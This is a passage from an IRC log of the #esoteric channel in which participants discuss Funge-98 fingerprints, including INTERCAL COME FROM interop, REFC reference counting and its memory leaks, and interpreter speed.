k? I don't remember < 1267634581 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: quite possibly < 1267634594 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but the fingerprint isn't /very/ feral, so probably not < 1267634596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ooh kM? < 1267634601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that sounds fun < 1267634617 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :M does nothing when actually encountered, though; it just specifies a location to start executing at < 1267634620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because, well, k calls execute_instruction in a loop < 1267634633 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, hm < 1267634633 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :M means "here might be an entry point" < 1267634650 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what about *exit* points then? < 1267634652 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and is written with a middot in the original source < 1267634660 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: they're the usual @, etc < 1267634668 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, no, that isn't what I asked < 1267634670 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :otherwise, to exit you use fingerprint commands < 1267634674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : scarf, could you come from a position in befunge too? I don't remember < 1267634674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: M5C M5L is an infinite loop < 1267634677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I meant < 1267634680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :come from befunge < 1267634682 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to intercal < 1267634686 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1267634686 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you put a line label in < 1267634690 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :along the lines of M5L < 1267634698 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and it can come from there < 1267634701 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, and then when that label is encounterd in the befunge program it jumps to intercal? < 1267634704 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you need the M, because it might NEXT to that line later < 1267634708 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yep < 1267634719 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, then how could kM *not* cause issues? < 1267634735 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :because, it starts executing at the M < 1267634737 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, you check that in your top loop? < 1267634747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, shouldn't it jump to intercal when it hits the M? < 1267634750 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is what I thought you said < 1267634754 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no, when it hits the L < 1267634763 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :otherwise, how could it know what the number was? < 1267634766 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, okay, so what about kL then? < 1267634776 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: then it returns on the first L, so the others don't happen < 1267634787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, returns from where? < 1267634789 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :sort of like for(int i = 0; i < 10; i++) return; < 1267634793 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :in C < 1267634804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, in the main loop? Well k doesn't go by the main loop < 1267634805 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well, gets come-frommed, or whatever < 1267634811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :remember it calls execute_instruction directly < 1267634813 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that isn't in the main loop, that's in the fingerprint I think < 1267634814 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in a loop < 1267634823 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I'm actually going to read the source now < 1267634841 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, it would need to somehow get up through run_iterate() (which implements k) < 1267634846 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a longjmp is all I can think of < 1267634872 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hah, I see what's hapened < 1267634873 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*happened < 1267634877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, oh? < 1267634884 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it sets a flag in the code, multiple times, which does nothign < 1267634888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267634893 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :then when it goes back to the main loop, it simulates only having happened once < 1267634906 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so you get the effect of returning on the first call, although actually it ignores all but the last then returns on the last call < 1267634907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how longjmp() interacts with __attribute__((regparm(3)))
< 1267634931 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I hope it handles it) < 1267634992 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, hm, does L take the line number as a parameter on stack? < 1267634998 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267635009 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if so, won't it be overwritten to actually be the last one given to L? < 1267635012 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in a k loop < 1267635020 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also, what does negative line numbers do? < 1267635026 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes, it will < 1267635036 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, and is line 0 valid? < 1267635038 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and line numbers outside the range 1..65535 are ignored < 1267635054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, not very befungeish, silently ignoring < 1267635068 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that's the correct behaviour for computed COME FROM < 1267635074 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1267635078 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :a COME FROM should do nothing if aimed at an illegal line number < 1267635090 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267635120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would be fun to do this as a free standing befunge fingerprint. Not sure how much it depends on ick internals < 1267635139 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Is Ruby a good language to first try to learn continuations in? < 1267635153 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you'd have to separate it out to some extent; it depends on ick internals for the control flow deliberately, because it needs to be the same control flow as in the INTERCAL program < 1267635164 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well yes < 1267635192 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what I actually meant (but didn't say I realise) was: "how hard would it be to rewrite those bits for freestanding" < 1267635209 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't be massively hard; INTERCAL control flow is relatively easy to implement < 1267635221 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hard to /use/, but easy to implement < 1267635235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :one of the few easy parts to implement? < 1267635257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, also, what about memory leaks? Is there any way to remove a come from? < 1267635283 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Actually, I think it is. < 1267635295 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I'm not very happy with REFC and such < 1267635296 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the way it works is, whenever a line label's encountered, it starts executing in every cardinal direction from every middot, to see if it comes across a comefrom < 1267635305 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which *requires* you to leak memory basically < 1267635320 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :why is that a leak? < 1267635326 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it uses a fixed amount of memory in every case < 1267635337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, you can't remove refences, just add new and dereference existing < 1267635338 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :because the set of middots is fixed at compiletime < 1267635344 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: references to what? < 1267635348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :references* < 1267635355 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, cells < 1267635357 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :x,y < 1267635365 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, you can't add new either < 1267635366 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://catseye.tc/projects/funge98/library/REFC.html < 1267635369 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, ^ < 1267635373 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ah, you're talking about REFC, rather than IFFI < 1267635376 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, yes < 1267635389 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I mean, I want to avoid this scenario for a fingerprint < 1267635406 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure what the point of REFC is < 1267635410 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :clearly you need reference-counting < 1267635419 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Why not just share vectors < 1267635423 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, for funge cells? Don't be daft XD < 1267635428 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no, for vectors < 1267635439 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, well, how would I track them < 1267635444 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: maybe it's so you can have vectors /of/ vectors < 1267635474 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :nothing forbids you to output it, then later ask the user to input the same number < 1267635481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and so on < 1267635490 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: let's say, R creates a reference with a refcount of 1, D dereferences a reference, C increases a reference's refcount, X decreases a reference's refcount, and if it falls to 0 it can't be used in future < 1267635498 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I mean, refcounting in the fingerprint < 1267635505 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267635508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, well that would require changing the fingerprint < 1267635512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is unrealistic < 1267635520 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://etext.virginia.edu/toc/modeng/public/ManFour.html < 1267635522 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It does say "Under development" < 1267635523 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :facts about 4our < 1267635528 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the fingerprint as written requires a memory leak, yes < 1267635534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, doesn't all your fingerprints almost? < 1267635545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also, still in beta (oh wait it isn't) < 1267635648 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It should probably just be burnt < 1267635667 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There' < 1267635685 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1267635698 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There's a saying about how the only thing worse than generalizing from a single example is generalizing from no examples at all. < 1267635725 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :# of use cases for REFC = 0, so... garbage collect it :) < 1267635757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, how do you know? < 1267635767 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well mycology doesn't count I guess < 1267635774 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Feel free to prove me wrong < 1267635789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, is writing one now allowed? ;P < 1267635810 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :linked lists? < 1267635815 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :trees? < 1267635820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, hm interesting < 1267635826 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :REFC's about the best you can do for writing object-oriented funge, too < 1267635836 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh? < 1267635841 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :objects are immutable < 1267635842 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but that really needs a fingerprint of its own < 1267635852 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yep, but you can make slightly mutated copies, Haskell-style < 1267635853 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also what about rc/funge's FOBJ? < 1267635862 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not very good OO though) < 1267635868 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and I don't have the whole list of rc/funge fingerprints memorised, for presumably obvious reasons < 1267635876 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(object, but not most of the concepts of OO) < 1267635906 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://rcfunge98.com/rcsfingers.html#FOBJ < 1267635955 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, that appears to be a Trefunge-only fingerprint < 1267635957 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't see a strong argument for using references instead of vectors (even for linked lists, objects, etc.) except for some pie-in-the-sky notion of writing a *funge polyglot, e.g. Befunge and Trefunge. < 1267635974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1267635981 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I didn't think of that one < 1267635996 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: oh, I forgot that vectors couldn't be arbitrary-length < 1267636005 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, the case of trees still applies, though < 1267636030 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: in efunge, you wouldn't need to have a memory leak < 1267636031 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Why can't you just store the vector of the child node, in the parent node? < 1267636044 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, hm? < 1267636047 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: because then it wouldn't fit into one cell, unless you had bignums < 1267636047 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And yes, you do have memory leaks with REFC. < 1267636050 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, how < 1267636056 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Why do you have to use one cell? < 1267636067 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you can implement R as mingling all the elements of the vector, and D as unmingling them < 1267636076 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: you don't have to, but you might want to, for code simplicity reasons < 1267636082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, interesting idea < 1267636089 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: That' < 1267636103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that'? < 1267636103 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: your comment was cut off < 1267636103 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's not what I call a strong argument. < 1267636114 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Dude < 1267636118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, scarf's suggestion about mingling was quite nice < 1267636119 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :' is right next to Enter < 1267636125 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: well, think about, say, STRN or TOYS; those exist only for code simplicity too < 1267636125 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, true < 1267636134 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, I'm not complaining about the cut-off, just pointing it out in case you missed it < 1267636136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, on some layouts at least < 1267636142 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(including mine) < 1267636150 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :there's # between ' and enter on this keyboard < 1267636193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :asdfghjklöä' < 1267636224 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :asdfghjkl;'# < 1267636243 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :the old pond a frog jumps in splash? < 1267636254 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, ? < 1267636297 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I should say, implementing REFC without memory leaks is pretty hard. < 1267636312 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't know that it's impossible. < 1267636314 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep, the only solution's to encode the entire vector into the pointer < 1267636319 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :which requires either bignums or Unefunge < 1267636326 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(it is very easy to write a non-leaky REFC in Unefunge) < 1267636339 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: No, even then, you have to distinguish it from integers which happen to coincidentally have the same value. < 1267636340 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(because you can make both R and D NOPs) < 1267636348 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :arstdhneio'\ < 1267636348 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So you have to carry type information < 1267636356 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :On the stack and throughout the playfield. < 1267636364 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: hmm, no, because nothing's forcing REFC values to be distinct from integers < 1267636375 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can't add type information < 1267636402 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can read in an integer with & and use it to access a REFC vector as well as do anything else < 1267636408 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: OK, in the bignum case. I guess I'm talking about the non-bignum case. < 1267636426 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, also unefunge < 1267636434 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: well, REFC doesn't define what ,D would mean < 1267636436 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :in the non-bignum case, with unefunge, there are a finite number of possible integers, and an equal finite number of possible vectors < 1267636438 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for fixnum befunge-or-above... < 1267636440 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It could reflect. < 1267636441 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so you can just map them one-on-one < 1267636465 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I'm also not very interested in Unefunge. < 1267636477 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the internal list would be a fixed internal list, {0=>0,1=>1,...} < 1267636488 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :except for bignum and unefunge, though, it's impossible to do without a memleak < 1267636505 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: REFC just says that if you give it an integer which is the same as one that R earlier pushed it'll work < 1267636513 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't matter where that integer came from < 1267636517 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant &cpressey, how does REFC interact with storage offset? < 1267636521 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember < 1267636529 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: REFC says nothing about integers < 1267636531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/&/& / < 1267636535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think that should work < 1267636540 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"scalar values" < 1267636541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(that sed expression) < 1267636548 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: So you're arguing that "a scalar value" could be a non-stack cell? :-P < 1267636557 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ooh, the idea is that you might be storing something other than integers in fungespace / on the stack? < 1267636560 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I'm trying to make an argument for burning REFC < 1267636560 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, that would be quite ferral < 1267636566 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :then what happens if you p them onto the playfield, then execute them? < 1267636571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, well, things implement it < 1267636586 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I'd rather make it actually useful ;-) < 1267636588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oooh that gave me a good idea < 1267636593 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a *wonderful* idea < 1267636597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, thanks a LOT < 1267636598 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But I guess it's equivalent to burning it and doing something else < 1267636607 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ? < 1267636622 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: REFC says nothing about storage offset so IMO it's not affected by it < 1267636637 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: someone will surely make an argument that fingerprints are immutable, even if they're crap-ambiguous < 1267636651 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yep, AnMaster will < 1267636662 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I have considered opaque values. For efunge things like {float,12.42} or {socket, Data_about_it} would be a lot nicer for fingerprints like FILE or SOCK or FPDP < 1267636669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course that would be a pain in some other parts < 1267636674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it would be kind of neat < 1267636678 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Myself, I don't mind fixing broken-ass stuff in-place < 1267636680 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the idea of ping them onto the playfield then executing them's a weird one < 1267636680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but now I figured out a way to solve it < 1267636689 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, the idea is that they are represented as functions < 1267636694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that can be acted upon < 1267636700 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ooh, you could have lazy values < 1267636704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so if something tries to add them together and what not.. < 1267636708 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, that too < 1267636729 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :in fact, if you have some sort of lambda fingerprint, you could (very ferally) have a completely lazy funge, and still stay within the spec < 1267636755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, my primary interest was about what happens if you pass a {socket,523} and a {float,2.3} to FPDP's "add two floating point numbers" or such < 1267636759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and where the error should be handled < 1267636766 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :FPDP should reflect < 1267636773 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I think this could mean it can implement the behaviour itself < 1267636773 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, the specific command in it should reflect < 1267636790 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :either that, or it should read a floating-point number from the socket and add that < 1267636797 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :operand overloading FTW < 1267636798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, yes. But there would be a lot of "check what sort of value this is" or a lot of try catch < 1267636800 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :elsewhere < 1267636811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :neither of which I liked very much < 1267636818 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you could centralise it somewhat < 1267636824 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, yes, try catch < 1267636830 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that is somewhat blunt < 1267636847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also, efunge is already slow. < 1267636850 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as in, defining fingerprint commands, you'd say what type of arguments they expected in the specfile-equivalent < 1267636868 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, currently efunge uses the same specfile format as cfunge for the fingerprints < 1267636885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(and similar shell scripts, but with different code generation output of course) < 1267636922 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Until it's around the level of L::B you can't call it slow < 1267636942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, slow enough that I'm somewhat annoyed at waiting on mycology < 1267636959 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :How long does it take? < 1267636961 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: hmm, if it doesn't implement hexadecifunge, it should be significantly faster than L::B to not be considered slow < 1267636968 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, overall it is a bit slower than ccbi it seems < 1267636976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :varies a bit depending on things < 1267636981 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*hexadecefunge < 1267636985 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And that makes it annoyingly slow? You're awfully sensitive :-P < 1267636986 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(like, which program) < 1267637022 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what is hexadecefunge? < 1267637034 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 16-dimensional funge, of course < 1267637050 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: What is L::B? < 1267637052 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, oh, not weird topology then? < 1267637059 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, Language::Befunge < 1267637062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perl < 1267637064 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Language::Befunge, the Perl implementation < 1267637065 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh, Perl. < 1267637074 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it supports arbitrary-dimension funge < 1267637076 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and is incredibly slow < 1267637085 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Then shouldn't it be Language::Funge? < 1267637090 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :To be fair, it was incredibly slow even before it supported arbitrary-dimensional funges < 1267637096 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: It didn't always support them < 1267637099 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: probably, but it's probably too late to rename it now < 1267637115 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Speaking of immutability < 1267637140 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, it causes problems when breaking previous programs < 